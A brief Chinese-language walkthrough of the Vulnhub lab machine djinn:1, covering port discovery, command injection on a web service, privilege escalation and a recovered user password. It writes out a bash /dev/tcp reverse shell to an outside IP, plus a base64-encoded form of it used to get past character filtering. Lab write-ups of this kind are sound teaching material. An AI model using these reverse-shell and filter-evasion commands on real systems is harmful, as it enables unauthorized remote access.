djinn:1 Vulnhub Walkthrough

靶机下载链接:

https://download.vulnhub.com/djinn/djinn.ova

主机端口扫描:

FTP发现一些文件提示

1337端口是一个游戏,去看下

哈哈有点难,暂时放弃,看看7331HTTP server 这边有么有发现

使用dirb dirsearch 自带字典没有发现,加大字段枚举下目录

命令执行

反弹shell bash -i >& /dev/tcp/10.10.202.142/1234 0>&1一直弹不出来,猜测特殊字符做了过滤

base64 编码执行

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4yMDIuMTQyLzEyMzQgMD4mMQ== | base64 -d | bash

接下来进行提权操作

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

内核:Linux djinn 4.15.0-66-generic

exp提权失败:https://www.exploit-db.com/download/47163

路径/home/nitish/.dev/creds.txt

nitish:p4ssw0rdStr3r0n9 密码

切换用户可能会提示:su: must be run from a terminal

执行此命令:/usr/bin/script -qc /bin/bash /dev/null

sudo - u sam genie -cmd new

OVER!!

原文地址:https://www.cnblogs.com/hack404/p/12131937.html